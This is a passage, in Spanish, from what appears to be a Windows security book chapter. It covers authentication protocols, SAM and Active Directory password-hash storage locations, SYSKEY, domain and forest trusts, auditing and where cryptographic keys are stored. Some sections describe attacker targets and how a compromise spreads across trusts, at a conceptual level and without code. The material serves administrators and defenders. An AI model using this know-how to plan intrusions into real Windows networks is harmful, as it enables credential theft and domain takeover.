apropiado de autentificación si no se puede negociar Kerberos. Éste sólo se usará si tanto el clien-
te como el servidor le dan soporte, se hace referencia a ambas máquinas por su DNS o su nombre
de máquina (no su dirección IP) y el cliente y el servidor pertenecen al mismo bosque (a menos
que se use una implementación de Kerberos de terceros).
PRECAUCIÓN Como analizamos en el capítulo 5, Kerberos es susceptible para los ataques de escucha.
En la tabla 2-6 se presenta un rápido resumen de los mecanismos de autentificación de red

de la familia NT.
Para mayor simplicidad, hemos dejado fuera del análisis, a propósito, laa consideraciones
relacionadas con el protocolo de autentificación de saludo de desafío de Microsoft (MS-CHAP,
Microsoft Challenge Handshake Authentication Protocol), que se usa para acceso remoto; los
protocolos de autentificación basados en Web como HTTP básico y digerido; el servicio de usua-
rio de marcado telefónico remoto para autentificación (RADIUS, Remote Authentication Dial-In
User Service) y otros pocos. Aunque estos protocolos son ligeramente diferente de lo que hemos
descrito hasta ahora, aún dependen de los cuatro protocolos centrales descritos en la tabla 2-6,
que se usan de una forma u otra para autentificar todos los accesos de red.
Intercambio en red y modelo de seguridad para cuentas locales

A partir de Windows XP, Microsoft implementó algunos cambios a la manera en que se aplica el
control de acceso a recursos compartidos. En la Directiva de seguridad local o del dominio, bajo
el parámetro llamado Acceso de red: modelo de intercambio y seguridad para cuentas locales,
las dos opciones siguientes son configurables:
• Clásico Los usuarios locales se autentifican como ellos mismos.

• Sólo invitado Los usuarios locales siempre se autentifican como Invitado.

Tipo de Clientes soportados Comentarios

autentificacion
LANMan Todos Windows 9x debe usar esto, pero es
susceptible a ataques de escucha; DSClient
permite que Windows 9x use NTLM
NTLM NT 4 SP3, Windows Seguridad mucho más robusta que
Server 2000 y LANMan
posteriores
NTLMv2 NT4 posterior a SP4, Seguridad mejorada sobre NTLM;
Windows Server recomendado para entornos heterogéneos
2000 y posteriores NT4/2000
Kerberos Windows Server Se usa sólo si Windows 2000 o mayor está
2000 y posteriores en ambos extremos y dentro del bosque
Tabla 2-6 Mecanismo central de autentificación de red de Windows
La configuración Sólo invitado podría ser útil en sistemas con demasiadas transferencias de
archivos para forzar niveles de acceso equivalentes entre tranferencias. Sin embargo, recomen-
damos apegarse a Clásico, ya que consideramos que es mejor ser explícitos acerca del control de
acceso.
SAM y Active Directory

Después de la revisión general de los directivos y las capacidades de seguridad, exploremos más
detalladamente la manera en que se manejan en Windows objetos como cuentas y contraseñas.
En todos los equipos de Windows, SAM contiene la información del nombre de cuenta y la con-
traseña de usuario. La información de contraseña se mantiene en un formato revuelto de modo
que no puede reordenarse utilizando técnicas conocidas (aunque el valor barajado aún puede
adivinarse, como verá en el capítulo 7). Al procedimiento de dispersión se le denomina función
de una vía (OWF, One-Way Function) o algoritmo de hash, y da como resultado un valor de hash
que no puede descifrarse. Haremos referencia a los hashes de contraseña de manera repetida en
este libro. SAM integra uno de los cinco paneles del Registro y se implementa en el archivo
%systemroot%\system32\config\sam.
En los controladores de dominio de Windows Server 2000 y posteriores, los datos de cuenta
de usuario/hash para el dominio se mantiene en el Active Directory (%systemroot%\ntds\ntds.
dit, como opción predeterminada). Los hashes se mantienen en el mismo formato, pero debe ac-
cederse a ellos por medios distintos.
SYSKEY
Bajo NT, los hashes de contraseña se almacenaban directamente en el archivo SAM. A partir de
NT 4 Service Pack 3, Microsoft proporcionó la capacidad de agregar otra capa de cifrado a los
hashes de SAM, llamada SYSKEY, que es una abreviatura de SYStem KEY (clave del sistema), y
que deriva, en esencia, una clave aleatoria de 128 bits y cifra de nuevo los hashes (no el propio
archivo SAM, sólo los hashes).

Para habilitar SYSKEY en NT 4, tiene que ejecutar el comando SYSKEY, que presenta una
ventana como la siguiente:
Al hacer clic en el botón Actualizar de esta ventana, se presentan opciones adicionales de

SYSKEY, como la capacidad de determinar cómo y cuándo se almacena la SYSKEY. Ésta pue-
de almacenarse de una de tres maneras:
• Modo 1 Se almacena en el Registro y queda disponible automáticamente en tiempo

de arranque (es la opción predeterminada)
• Modo 2 Se almacena en el Registro, pero se bloquea con una contraseña que debe
proporcionarse en tiempo de arranque.
• Modo 3 Se almacena en un disco flexible que debe proporcionarse en el tiempo de
arranque.
En la siguiente ilustración se muestra cómo se seleccionan estos modos:
Las versiones modernas de Windows (hasta Server 2008, incluida) aún implementan el modo
1 de SYSKEY como opción predeterminada y, por tanto, las contraseñas almacenadas en SAM o
Active Directory se cifran con SYSKEY, además de incluirse como hash. No tiene que habilitarse
manualmente con NT 4 SP3 y posterior.

En los capítulos 7 y 11 analizaremos las implicaciones de SYSKEY y los mecanismos para

evitarla.
BOSQUES, ÁRBOLES Y DOMINIOS

Hasta este punto, hemos revisado a la familia NT en el contexto de equipos individuales. Un
grupo de sistemas de la familia Windows NT puede agregarse en una unidad lógica denomina-
da dominio. Los dominios de Windows pueden crearse de manera arbitraria con sólo ascender
uno o varios servidores de Windows a controlador de dominio. Los controladores de dominio son
depósitos de almacenamiento asegurados para información compartida de dominio y también
sirven como autoridades centralizadas de autentificación para el dominio. En esencia, un domi-
nio establece un límite distribuido a las cuentas compartidas. Todos los sistemas del dominio
comparten un subconjunto de cuentas. A diferencia de NT, que especificaba duplicación de un
solo maestro desde los controladores de dominio principales (PDC) a los de copia de seguridad
(BDC), los controladores de dominio de Windows 2000 y posteriores son semejantes y partici-
pan en duplicación de varios maestros de la información compartida del dominio.
Uno de los mayores impactos del desplazamiento a Active Directory en Windows 2000 fue
que los dominios ya no fueron el límite administrativo lógico que eran bajo NT. Existen estruc-
turas supradominio, llamadas árboles y bosques, sobre dominios en la jerarquía de Active Direc-
tory. Los árboles se relacionan principalmente para asignar nombres a convenciones y tener
pocas implicaciones de seguridad, pero los bosques demarcan el límite de los servicios de direc-
torio de Windows 2000 y posteriores y son, por tanto, el límite final del control administrativo.
En la figura 2-4 se muestra la estructura de un bosque de ejemplo de Windows Server 2003.
Bosque
Árbol Confianzas transitivas de
dos vías en todo el bosque
corp.com
(Raíz de bosque, primer bosque de dominio) division.com
rana.corp.com seguro.corp.com rana.division.com
Dominio
Figura 2-4 La estructura de bosques de Windows

Aunque estamos anticipando una gran cantidad de detalles acerca de Active Directory, va-
mos a detener este análisis aquí para seguir concentrados en el aspecto de los dominios que son
el principal objetivo de los atacantes maliciosos: la información de cuenta.
Alcance: local, global y universal

Probablemente haya notado las referencias continuas a cuentas y grupos locales en compara-
ción con cuentas globales y universales. Bajo NT, los miembros de los grupos locales tenían la
posibilidad de acceder a recursos dentro del alcance de la máquina local, mientras que los miem-
bros de los grupos globales podían acceder a recursos de todo el dominio. Los grupos locales pue-
den contener grupos globales, pero no viceversa, porque los grupos locales no tienen significado
en el contexto de un dominio. Por tanto, una estrategia típica sería agregar usuarios de domi-
nio (agregados en un grupo global para facilitar la carga administrativa) a un grupo local para
definir el control de acceso a recursos locales. Por ejemplo, cuando un equipo se une a un do-
minio, el grupo global Administradores de dominio se agrega automáticamente al grupo Admi-
nistradores locales, permitiendo que cualquier miembro de los Administradores de dominio se
autentifique en el equipo y tenga acceso a todos sus recursos.
Active Directory complica esto un poco. En la tabla 2-7 se presenta una lista de los alcances
relevantes para AD.
Dependiendo del modo del dominio (modo nativo en comparación con modo combinado; con-
sulte la sección “Referencias y lecturas adicionales”), estos tipos de grupos tienen diferentes
limitaciones y comportamientos.
Alcance Descripción Miembros que puede incluir Debe otorgarse

recursos en
Local Dentro del Cuentas, grupos globales Sólo equipo local
equipo y universales de cualquier
dominio
Dominio Dentro del Cuentas, grupos Sólo en el mismo
local dominio globales y universales de dominio
cualquier dominio; grupos
del dominio local y del
mismo dominio
Global Entre Cuentas y grupos globales Cualquier dominio en
dominios del mismo dominio el bosque
Universal En todo el Cuentas, grupos globales Cualquier dominio del
bosque y universales de cualquier bosque
dominio
Tabla 2-7 Alcances de cuentas

Confianzas
Windows puede formar relaciones entre dominios llamadas confianzas. Las relaciones de confianza
sólo crean la posibilidad de acceso entre dominios; no lo habilitan explícitamente. Por tanto, a me-
nudo una relación de confianza se explica como si se construyera un puente sin poner una caseta
de peaje. Por ejemplo, un dominio de confianza puede usar directivos de seguridad del dominio de
confianza para poblar las listas de control de acceso (ACL) de los recursos, pero esto es sólo a discre-
ción de los administradores de dominio de confianza y no está configurado inherentemente.
Puede decirse que las confianzas son de una vía o de dos vías. Una confianza de una vía sig-
nifica que sólo un dominio confía en el otro, y no viceversa. Las confianzas de dos vías definen
dos dominios que confían entre sí. Una confianza de una vía es útil para permitir que los admi-
nistradores de un dominio definan reglas de control de acceso dentro de su dominio, pero no a
la inversa.
Las confianzas también pueden ser transitivas o no transitivas. En las primeras, si el dominio
A confía de manera transitiva en el B y éste en el C, entonces el dominio A confía transitivamen-
te en el C.
Como opción predeterminada, todos los dominios dentro de un bosque de Windows (posterior a NT)
tienen confianzas transitivas, de dos vías, entre sí. Windows puede establecer confianzas de una vía,
no transitivas, con otros dominios fuera del bosque o con dominios NT heredados. También
puede establecer confianzas con otros bosques. (Consulte la siguiente sección, “Confianzas de
bosques”).
Límites administrativos: ¿bosque o dominio?

Con frecuencia nos plantean la pregunta “¿Cuál es el límite de seguridad real dentro de un bos-
que de Windows: un dominio o el bosque?”. La respuesta corta a esta pregunta es que mientras
el dominio es el límite administrativo principal, ya no es el límite de seguridad hermético que
era bajo NT, por varias razones.
Una razón es la existencia de grupos universales que podrían otorgar privilegios en cual-
quier dominio dentro del bosque debido a las confianzas transitivas de dos vías que se estable-
cen automáticamente entre todos los dominios dentro del bosque. Por ejemplo, considere a los
miembros de los grupos Administradores de organización y Administradores de esquema que
tienen acceso a ciertos aspectos de los bosques secundarios, como opción predeterminada. Estos
permisos deben eliminarse manualmente para evitar que los miembros de esos grupos realicen
acciones dentro de un dominio determinado.
También debe preocuparse por los Administradores de dominio de todos los demás domi-
nios dentro del bosque. Un hecho poco conocido acerca de los bosques de Active Directory,
como se establece en la Deployment Planning Guide del Windows 2000 Server Resource Kit, es que
“Los Administradores de dominio de cualquier dominio en el bosque tienen la posibilidad de
tomar propiedad y modificar cualquier información en el contenedor Configuración de Active
Directory. Estos cambios estarán disponibles y duplicarán todos los controladores de dominio
en el bosque. Por tanto, para cualquier dominio unido al bosque, debe considerar que el Admi-
nistrador de dominio de ese dominio es confiable como un igual de cualquier otro Administra-
dor de dominio”. La Deployment Planning Guide especifica los siguientes escenarios que
necesitarían la creación de más de un bosque. El siguiente material está citado directamente de
la Deployment Planning Guide del Windows 2000 Server Resource Kit (consulte la sección “Refe-
rencias y lecturas adicionales”).

Si organizaciones individuales:
No confían en los otros Administradores

En el catálogo global reside una representación de cada objeto del bosque. Es posible que un
administrador, al que se le ha delegado la capacidad de crear objetos, produzca, con intención
o sin ella, una condición de “negación del servicio”. Puede producir esta condición al crear o
eliminar rápidamente objetos, con lo que se causa una gran cantidad de duplicaciones del catálogo
global. Una excesiva duplicación puede desperdiciar el ancho de banda de la red y hacer más
lentos a los servidores del catálogo global, porque desperdician tiempo en procesar la duplicación.
No se ponen de acuerdo en una directiva de cambio del bosque

Los cambios de esquema y configuración, y la adición de nuevos dominios a un bosque tienen
impacto en todo el bosque. Cada una de las organizaciones del bosque debe estar de acuerdo en
un proceso para la implementación de esos cambios, y en la membresía de los grupos
Administradores de esquema y Administradores de organización. Si las organizaciones no
pueden ponerse de acuerdo en una directiva común, no pueden compartir el mismo bosque.
Quieren limitar el alcance de una relación de confianza

Cada dominio de un bosque confía en todos los demás dominios del bosque. Cada usuario del
bosque puede incluirse en una membresía de grupo o aparecer en una lista de control de acceso
en cualquier equipo del bosque. Si quiere evitar que ciertos usuarios tengan siquiera permisos
otorgados a ciertos recursos, entonces esos usuarios deben residir en un bosque diferente de los
recursos. Si es necesario, puede usar relaciones de confianza explícitas para permitir que esos
usuarios tengan acceso otorgado a recursos en dominios específicos.
Si no puede lograr el control administrativo de su dominio, sugerimos que mantenga bos-

ques separados. Por supuesto, entonces pierde todos los beneficios de un modelo de bosque uni-
ficado, como un catálogo global compartido y espacio de objeto de directorio, y también agrega
el trabajo de administración de un bosque adicional. Se trata de un buen ejemplo de la compen-
sación entre conveniencia y seguridad.
El otro lado de la moneda: ¿puedo confiar en un dominio

que ve a Internet?
También nos hacen a menudo la pregunta opuesta: ¿es mejor crear un bosque separado para
agregar dominios confiables a la organización? Esta pregunta resulta especialmente pertinente
para crear un dominio que será accesible desde Internet, digamos para una granja de servidores
Web. Esta situación puede manejarse de una de dos maneras.
Como primera opción, puede crear un bosque separado que vea a Internet y establecer con-
fianzas tradicionales, explícitas de una vía, en un dominio dentro del bosque corporativo para
protegerlo de posibles compromisos. Una vez más, en este escenario perdería los beneficios de
un directorio compartido entre todos los dominios, aunque obtendría la carga adicional de la
administración de varios bosques.
La segunda opción consiste en contraer el dominio que ve a Internet y una unidad organiza-
cional (OU, Organizative Unit) dentro del bosque corporativo. El administrador de la OU puede
entonces delegar el control sólo sobre los objetos residentes en el OU. Aunque esa cuenta se vea
comprometida, el daño al resto de los bosques será limitado.
Al igual que con muchas decisiones de esta naturaleza, sólo se tiene que elegir entre una ma-
yor seguridad y una administración más fácil. Antes de que decida, lea la siguiente sección.

Implicaciones del compromiso de un dominio

Entonces, ¿qué significa que un dominio dentro de un bosque quede comprometido? Digamos
que un hacker toca a un controlador de dominio en un dominio que ve a Internet, o que un em-
pleado molesto de repente decide jugar como un falso Administrador de dominio. He aquí lo
que podrían intentar, resumiendo los puntos vistos en esta sección sobre seguridad de bosques,
árboles y dominio.
Al final, todos los demás dominios del bosque están en riesgo porque los Administradores de
dominio de cualquier dominio en el bosque tienen la capacidad de tomar propiedad y modificar
cualquier información en el contenedor de Configuración de Active Directory y pueden duplicar
los cambios al contenedor de cualquier controlador de dominio en el bosque. Además, si cual-
quier cuenta de dominio externo está autentificada en el dominio comprometido, el atacante pue-
de adquirir esas credenciales a través del caché LSA Secreto (consulte el capítulo 8), extendiendo
su influencia a otros dominios en el bosque o a dominios en otros bosques. Por último, si el domi-
nio raíz está comprometido, los miembros de los Administradores de organización o Administra-
dores de esquema tienen la posibilidad de ejercer control sobre aspectos de todos los demás
dominios en el bosque, a menos que estos grupos tengan el acceso limitado manualmente.
Confianzas de bosques
En Windows 2000, no había manera de establecer confianzas entre bosques. Si los usuarios de un
bosque necesitaban acceso a los recursos de un segundo bosque, estaban limitados a crear una
relación de confianza externa entre los dominios dentro de cualquier bosque. Esas confianzas son
de una vía, no transitivas y, por tanto, no extienden las rutas de confianza a todos los bosques.
En Windows Server 2003 se introdujeron las confianzas de bosques, un nuevo tipo de confianza
que permite a todos los dominios de un bosque confiar (transitivamente) en todos los dominios
de otro bosque, mediante un simple vínculo de confianza entre los dos dominios raíz del bos-
que. El principal beneficio de esta característica es que proporciona a las empresas que adquie-
ren o se fusionan con otras compañías la ruta de integración más fácil para sus infraestructuras
existentes.
Para crear una confianza de bosques, todos los controladores de dominio en ambos bosques
deben estar ejecutándose en modo nativo (lo cual requiere que todos los controladores de domi-
nio sean de Windows Server 2003 o posterior).
Las confianzas de bosques pueden ser de una o de dos vías, pero no son restrictivas en el nivel del
Nota
bosque entre tres o más bosques. Si el bosque A confía en el B y éste confía en el C, esto no crea una
relación de confianza entre el bosque A y el C.
Firewall de autentificación Como opción predeterminada, los usuarios de bosques confiables son
capaces de autentificarse en cualquier recurso del otro bosque mediante la identidad Usuarios
autentificados, a menos que la opción Autentificación selectiva se haya establecido en la confian-
za. Eso permite el firewall de autentificación, una nueva característica en Windows Server 2003 que
permite a los usuarios autentificarse sólo en recursos seleccionados a través de una confianza de
modo nativo.
El firewall de autentificación detiene todas las autentificaciones en los controladores de do-
minio en el bosque del recurso. El controlador de dominio agrega el SID Otra empresa (consulte
la tabla 2-4) para la ficha de autentificación del usuario. Este SID se revisa contra un derecho Per-
miso para autentificar en un objeto para el usuario o grupo especificado del otro bosque o domi-
nio (esto debe haberse configurado manualmente de antemano). Si esta verificación tiene éxito,
el SID Esta empresa se agrega a la ficha de autentificación del usuario, reemplazando el SID Otra
empresa (sólo puede dejar uno o el otro).

Recuerde que las confianzas de bosques sólo son posibles en dominios en modo nativo de Windows Server
Nota 2003 y posteriores, de modo que sólo en este escenario puede usarse un firewall de autentificación.
Lo más importante
He aquí un resumen de bosques, árboles y dominios en Windows desde la perspectiva de un
hacker malicioso.
Los controladores de dominio son el objetivo más probable de los ataques maliciosos, porque
albergan una gran cantidad de información de cuentas. También es probable que, en un entorno
de Windows, sean los sistemas más asegurados y monitoreados, de modo que un plan común
consiste en atacar sistemas defendidos con menos eficiencia en un dominio, y luego utilizar este
punto de apoyo temprano para obtener después el control completo de cualquier dominio
relacionado con él. La extensión del daño hecho a través del compromiso de un solo sistema
mejora en gran medida cuando las cuentas de un dominio son autentificadas en otro dominio
mediante el uso de confianzas. El límite de seguridad de Windows 2000 y posteriores es el
bosques, no el dominio, como lo era bajo NT. Las confianzas de bosque pueden configurarse
entre bosques de modo nativo de Windows Server 2003 y posteriores, extendiendo los límites de
la seguridad entre ambos bosques, a menos que esté habilitada la firewall de autentificación.
AUDITORÍA
Hemos hablado mucho acerca de la autentificación y el control de acceso hasta ahora, pero en un
sistema de seguridad de la familia NT puede hacer muchas cosas más que sólo otorgar o negar el
acceso a recursos. También puede auditar ese acceso. La directiva de auditoría de Windows se define
a través de la directiva de seguridad. En esencia, define cuáles sucesos se registran, y se adminis-
tra a través del subsistema de autoridad de seguridad local (una vez más, LSASS, Local Security
Authority SubSystem). Las partes del modo de kernel del subsistema de seguridad funcionan en
concierto con el administrador de objetos de Windows para generar registros de auditoría y enviar-
los a LSASS. Éste agrega detalles relevantes (el SID de la cuenta que realiza el acceso, etcétera) y los
escribe en el Registro de sucesos, que a su vez lo registra en el Registro de sucesos de seguridad.
Si se establece auditoría para un objeto, se asigna una lista de control de acceso del sistema
(SACL, System Access Control List) al objeto. La SACL define las operaciones mediante las cua-
les los usuarios deben iniciar sesión en el registro de auditoría de seguridad. Pueden auditar los
intentos que tienen éxito y los que no lo tienen.
En el caso de sistemas de Windows, recomendamos que la directiva de auditoría del sistema
se establezca en la configuración más agresiva (la auditoría está deshabilitada, como opción pre-
determinada). Es decir, habilite la auditoría de correcto/erróneo para todos los sucesos de Win-
dows, excepto por el rastreo de procesos, como se muestra en la figura 2-5.
Tome en cuenta que al habilitar la auditoría de acceso a objetos en realidad no se habilita la
auditoría de todos los accesos a objetos; sólo el posible acceso que puede ser auditado. Aún debe
especificarse la auditoría en cada objeto individual. En controladores de dominio de Windows,
la auditoría pesada de acceso a directorios puede llevar a un daño en el rendimiento. Asegúrese
de ajustar sus parámetros de auditoría al papel específico del sistema en cuestión.
Administración del Registro de sucesos

En el caso de entornos a gran escala, tal vez el problema más importante que enfrentará con las
auditorías de Windows no es qué auditar, sino cómo administrar los datos que se producen. En
resumen, recomendamos configurar el Registro de sucesos de seguridad a un tamaño máximo
de 131 072 KB y sobreescribir lo que sea necesario para la mayor parte de las aplicaciones (ésta
es ahora la configuración predeterminada en Windows Server 2008). El Registro de aplicaciones
y el Registro del sistema deben establecerse en alrededor del 20% de este tamaño.

Figura 2-5 Directiva de auditoría recomendada para Windows
Sugerencia El tamaño del Registro de sucesos y configuraciones relacionadas pueden establecerse centralmen-
te utilizando el Editor de objetos de directivas de grupos para editar la directiva del dominio; bus-
que bajo Configuración del equipo\Configuración de Windows\Configuración de seguridad\Registro
de sucesos.
Microsoft introdujo algunas mejoras al subsistema de auditoría de seguridad en Vista, in-

cluida la capacidad de auditar categorías para incluir varias subcategorías. Vista también integra
una colección de sucesos de auditoría y reenvío de datos de auditoría críticos a una ubicación
central (esta capacidad se anunció originalmente como el sistema de colección de auditorías de
Microsoft (MACS, Microsoft Audit Collection System) y fue extraída de una versión posterior a
Windows Server 2003; una funcionalidad similar está caracterizada para entregarse en versiones
futuras del administrador de operaciones de Microsoft (MOM, Microsoft Operations Manager).
La característica ahora está disponible bajo Administración de equipos\Visor de sucesos\Sus-
cripciones. Ambas características permiten que las empresas mejoren su capacidad para organi-
zar, analizar y correlacionar datos de auditoría. También hay herramientas de administración de
sucesos de seguridad de terceros, de compañías entre las que se incluyen ArcSight y NetIQ.
Criptografía
En ese capítulo nos hemos concentrado principalmente en las características básicas de control
de acceso del sistema operativo, pero ¿qué pasa con características de seguridad más poderosas
como la criptografía? A partir de Windows 2000, cada cuenta de usuario recibió un par de claves
pública/privada, usadas por el sistema operativo para realizar muchas funciones importantes.
Un hacker malicioso que compromete una cuenta por lo general no tiene la capacidad de accesar
las claves criptográficas relacionadas con esa cuenta. Verá un ejemplo clásico de esto en el capí-
tulo 11, cuando exploremos cómo el sistema de archivo de cifrado (EFS, Encrypting File System)
usa claves criptográficas relacionadas con cuentas de usuario para cifrar archivos.
En la tabla 2-8 se presenta una lista de las ubicaciones de almacenamiento en Windows Ser-
ver 2003 para materiales criptográficos.

Clave Almacenada Comentarios

Clave privada %userprofile%\Application Data\ Todos los archivos de esta
de usuario Microsoft\Crypto\RSA\ (también carpeta están cifrados
en controlador dominio si está con la clave maestra del
habilitado el perfil de roaming) usuario y RC4 (128 o 56 bits,
dependiendo de la ubicación)
Clave maestra %userprofile%\Application La clave maestra se cifra
de usuario Data\Microsoft\Protect (también automáticamente mediante el
en controlador de dominio si se servicio de almacenamiento
habilita el perfil de roaming) protegido y se almacena aquí
Certificados de %userprofile%\Application Data\ Por lo general, se publican
clave pública Microsoft\SystemCertificates\My\ para permitir que otros
de usuario Certificates cifren datos que sólo pueden
descifrarse mediante la clave
privada del usuario
Clave maestra Almacenado como una LSA secreta Usada para recuperar la
de copia de global en HKLM/SAM clave maestra del usuario
seguridad/ sin dependencias de la
restauración de contraseña del usuario
controlador
de dominio
Tabla 2-8 Ubicaciones de almacenamiento para las claves criptográficas
Puede usar el complemento Certificados de la consola de administración de Microsoft

(MMC, Microsoft Management Console) para ver los almacenes de certificados personales del
usuario. Nunca debe cambiarse el nombre de la carpeta RSA, ni moverse, porque es el único lu-
gar en que los proveedores de servicio criptográfico (CFP, Cryptographic Service Provider) del
sistema operativo buscan claves privadas. Los Certificados del sistema, RSA, y carpetas protegi-
das tienen sus atributos de sistema establecidos. Esto evita que los archivos que contienen sean
cifrados por EFS, lo que los haría inaccesibles.
Sugerencia
Microsoft Outlook ofrece su propia interfaz para importación y exportación de claves S/MIME (usadas
para cifrar y firmar correo electrónico), pero no le permite establecer protección fuerte al acceso a la
clave privada. Debe usar el complemento Certificados de la MMC para importar claves S/MIME, si
quiere habilitar esta funcionalidad.
El .NET Framework
Un nuevo cambio importante hecho en Windows Server 2003 es la fuerte integración de .NET
Framework. Se trata de una plataforma de desarrollo diseñada para simplificar la creación de
aplicaciones distribuidas. Tiene varios componentes principales: el tiempo de ejecución de len-
guaje común (CLR, Common Language Runtime). La biblioteca de clases de .NET Framework y
los hosts del motor de tiempo de ejecución.

El CLR es la base de .NET Framework. Se trata en realidad de un entorno de ejecución sepa-

rado del motor en tiempo de ejecución del sistema operativo estándar. Los ejecutables escritos
utilizando el .NET Framework (llamados ensamblados) se combinan para ejecutarse en el CLR y
no en el motor en tiempo de ejecución del sistema operativo. La biblioteca de clases de .NET Fra-
mework es una colección de bibliotecas de clases que pueden usarse para desarrollar aplicacio-
nes .NET. .NET Framework también proporciona varios hosts en tiempo de ejecución, incluidos
Windows Forms y ASP.NET, que funcionan directamente con el CLR para implementar entornos
en tiempo de ejecución de lado del servidor. .NET Framework se instala como opción predeter-
minada a partir de Windows Server 2003.
Se han escrito libros completos acerca de la seguridad en .NET Framework y no vamos a en-
trar en un gran nivel de detalle aquí. Para conocer más información acerca de .NET Framework,
consulte la sección “Referencias y lecturas adicionales”, al final de este capítulo. Nos concentra-
remos aquí principalmente en la ubicación de los archivos de configuración claves para el CLR,
que pueden ser el objetivo de hackers maliciosos, si se les da la oportunidad.
Los archivos de .NET Framework instalados en %systemroot%Microsoft.NET\Framework\
(cada versión instalada de .NET tiene su propia carpeta separada aquí). Algunos archivos de con-
figuración también se almacenan en el directorio de perfil del usuario. En la tabla 2-9 se ilustran
los archivos de configuración que controlan la directiva de seguridad de .NET Framework.
Esos archivos XML contienen datos de configuración que controlan los tipos de ensamblados
que pueden ejecutarse en el sistema y los permisos de seguridad a los que los ensamblados pue-
den adherirse una vez que se cargan en tiempo de ejecución. El conjunto del permiso que un en-
samblado recibe se determina por la intersección de los permisos establecidos definidos por cada
uno de estos tres niveles de directiva en una manera jerárquica: la directiva de la empresa despla-
za al archivo security.config local, que desplaza al archivo security.config del usuario.
Es posible manipular los parámetros en estos archivos de configuración utilizando la herra-
mienta de configuración de .NET Framework (mscorcfg.msc).
Archivos Machine.config, Web.config y Custom.config

Otros archivos de configuración claves de .NET Framework, que deben considerarse desde la
perspectiva de la seguridad, son Machine.config (almacenado en la carpeta de sistema de .NET,
por versión), que establece parámetros locales para ensamblados que se ejecutan en el sistema;
Web.config (por lo general almacenado en la carpeta raíz de una aplicación Web, como C:\Inetpub\
wwwroot\), que define los parámetros de configuración de seguridad en el nivel de la aplicación
como protocolos de autentificación y listas de nombre de usuario/contraseña; y los archivos cus-
tom.config que puede tomar cualquier nombre que resida en directorios de la aplicación.
Archivo Ubicación
Enterprise.config %ruta de instalación de CLR%\Config\
Security.config %ruta de instalación de CLR%\Config\
Security.config %userprofile%\Application data\Microsoft\CLR security
config\%CLR version%\
Tabla 2-9 Archivos de directivas de seguridad de .NET Framework

RESUMEN
En este capítulo se cubrieron los siguientes puntos importantes:
• Todo el acceso a Windows es autentificado (aunque sea con la identidad Todos) y se crea
una ficha de acceso para todas las cuentas autentificadas con éxito. Esta ficha se usa
para autorizar todos los accesos posteriores a los recursos en el sistema por parte del
subsistema de seguridad (que compromete a los componentes de modo de usuario y
de kernel). A la fecha, nadie ha descubierto públicamente una técnica para vencer esta
arquitectura, aparte de ejecutar comandos arbitrarios en el modo de kernel, derrotando
la integridad de todo el sistema.
• Windows usa SID para identificar cuentas internamente; los nombres de cuenta
amigables son simples conveniencias. Recuerde usar el nombre de dominio o del
equipo antecedido con el nombre del usuario, cuando use el comando net use para
iniciar sesión en los sistemas remotos (Windows interpreta el SID, no el nombre de
cuenta amigable).
• Los miembros del grupo Administradores son el objetivo más jugoso en el sistema
local de Windows, porque heredan los mayores privilegios. Todas las demás cuentas
tienen privilegios muy limitados relacionados con los administradores. Comprometer
a un administrador es, por tanto, casi siempre el objetivo final de un atacante.
• Los Administradores de dominio y Administradores de organización son los objetivos
más jugosos en un dominio de Windows porque son todopoderosos en el dominio
o el bosque. El compromiso de una cuenta que ya es miembro de uno de estos
grupos, o la adición de una cuenta comprometida a los Administradores locales, los
Administradores de dominio o los Administradores de organización es, por tanto, casi
siempre el objetivo final de un atacante.
• El grupo Todos puede tomarse como impulso para tener un punto de avanzada en un
sistema de Windows sin autentificar. Además, se requiere la identidad INTERACTIVO
en muchas instancias para ejecutar ataques de escalada de privilegios contra Windows.
• La información de las cuentas se mantiene en el SAM (%systemroot%\system32\
config\sam) o Active Directory (%systemroot%\ntds\ntds.dit), como opción
predeterminada. Las contraseñas se revuelven de modo irreversible (se les aplica hash)
de modo tal que el texto limpio correspondiente no pueda derivarse directamente,
aunque pueda crackearse, como lo verá en el capítulo 7.
• Los controladores de dominio son los objetivos más probables de los ataques
maliciosos, porque albergan toda la información de las cuentas de un dominio
determinado. También es probable que, en un entorno de Windows, sean los sistemas
más asegurados y monitoreados, de modo que un plan común consiste en atacar
sistemas defendidos con menos eficiencia en un dominio y luego utilizar este punto
de apoyo temprano para obtener después el control completo de cualquier dominio
relacionado con él.
• La extensión del daño hecho a través del compromiso de un solo sistema aumenta en
gran medida cuando las cuentas de un dominio son autentificadas en otro dominio
mediante el uso de confianzas.
• El límite de confianza en Windows 2000 y posterior es el bosque, no el dominio, como
en NT. Las confianzas de bosques son posibles en modo nativo de Windows Server
2003 y posterior.

• La autentificación local es diferente de la autentificación de red, que usa los protocolos

LM/NTLM, como opción determinada, bajo Windows. El algoritmo de autentificación
LM tiene debilidades conocidas que lo hacen vulnerable a los ataques; éstos se
analizan en el capítulo 5. Windows 2000 y posteriores pueden usar opcionalmente el
protocolo de autentificación de red Kerberos en entornos homogéneos, dentro de un
bosque, pero actualmente no se dispone de ningún mecanismo para forzar el uso de
Kerberos. Éste también tiene mecanismos de ataque conocidos, que analizaremos en el
capítulo 5.
• Además de la autentificación y la autorización, Windows puede auditar el éxito y la
falla de todos los accesos a objetos, si esa auditoría es habilitada en el nivel de sistema,
y específicamente en relación con el objeto que habrá de auditarse.
• Algunos otros elementos importantes de Windows que los intrusos pueden tomar
como objetivos son las claves criptográficas y los archivos de configuración de .NET
Framework.

Herramientas gratuitas
User2sid/sid2user www.chem.msu.su/~rudnyi/NT/
DumpTokenInfo www.windowsitsecurity.com/Articles/Index.cfm?ArticleID=15989
wsname http://mystuff.clarke.co.nz/MyStuff/Default.asp
Referencias generales
Architectura de http://en.wikipedia.org/wiki/Architecture_of_Windows_NT
Windows NT
Explotación 802.11 de vulnerabi- http://uninformed.org/?v=6&a=2&t=sumry
lidad de unidad inalámbrica en
Windows
Incidente con el “rootkit” de Sony www.securityfocus.com/brief/45
Omisión de PatchGuard en Win- http://uninformed.org/?v=3&a=3&t=sumry
dows x64
Subversión de PatchGuard ver- http://uninformed.org/?v=6&a=1&t=sumry
sión 2
Modelo de control de acceso http://msdn2.microsoft.com/en-us/library/aa374876.aspx
Objetos asegurables http://msdn2.microsoft.com/en-us/library/aa379557.aspx
Seguridad en Windows Vista y http://technet.microsoft.com/en-us/windowsvista/aa905073.aspx
mejoras en la protección de datos,
incluido el endurecimiento del
servicio
Control obligatorio de integridad http://blogs.technet.com/steriley/archive/2006/07/21/442870.aspx
(MIC)
Herramientas y configuraciones http://technet2.microsoft.com/windowsserver/en/library/1bc9569c-
